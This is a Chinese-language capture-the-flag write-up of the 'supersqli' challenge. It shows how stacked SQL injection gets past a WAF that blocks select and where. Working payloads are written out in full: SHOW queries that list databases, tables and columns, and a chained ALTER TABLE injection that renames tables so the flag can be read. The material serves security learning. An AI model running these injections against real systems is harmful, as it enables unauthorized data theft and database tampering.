1. 题目描述:
2. 思路分析
这里尝试按照基本思路进行验证,先确定注入点,然后通过union查询依次确认数据库名,表名,字段名,最终获取到我们想要的字段信息。
这里只有一个输入框,所以注入点肯定存在且只有一个,我们可以简单验证下:
使用 or 永真修改查询条件可以将所有信息查询出来,因此这里肯定是存在sql注入的
然后尝试使用union select查询出数据库名
我们发现结果并不是我们想要的,我们的sql注入语句被waf拦截掉了,看报错信息,waf过滤了select, update, delete, drop, insert, where等字符,而且无法进行大小写绕过
因此,这里的关键就是如何绕过waf的限制
这里试过注释绕过和大小写绕过,发现无法绕过waf的限制。
因此这里常见的union select注入方法在这里不生效
尝试用其它方式来获取表名和字段名,这里参考资料攻防世界-supersqli详解_Mr H的博客-CSDN博客,
思路如下:
1. 使用堆叠注入获取表名和字段名,
2. 将我们需要查的表名修改为默认查询的表名
博客里提到的一种预编译绕过的方式可以让我们绕过waf的限制使用select语句,处理起来较为复杂,这里就不详细说明了
3. 解题过程
1. 使用1'; show databases; -- 1 获取到所有的数据库名
2. 使用1'; show tables; -- 1 获取到所有的表名
3. 使用1'; show columns from words; -- 1 和 1'; show columns from `1919810931114514`; -- 1获取到两个表的字段名
我们可以看到,flag就在表1919810931114514中
4. 最后就是查询字段的内容了
我们看到,服务端默认的查询语句查询出两个字段,说明查询的是words表,我们将表1919810931114514的名字改成words并且将flag字段改为id字段不就行了吗? 试一下
先将words表名改为words1:
alter table words rename to words1;
然后将1919810931114514表名改为words
alter table `1919810931114514` rename to words;
最后将flag字段改为id,并将属性设置为varchar
alter table words change flag id varchar(50); -- 1
三条语句需要合并在一起,不然先改了words表名会导致后面无法执行成功:
1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50); -- 1
(PS:这里一定要手动输入,直接拷贝可能存在编码问题,一直不成功)
最后,通过如下语句查询出flag
1' or 1 = 1 -- 1
总结:这道题展示了另一种sql注入的方法,堆叠注入,在waf对select, where等常规查询字段进行了限制的情况下,我们可以通过show, alter等sql语句来进行绕过,最终获取到我们需要的信息。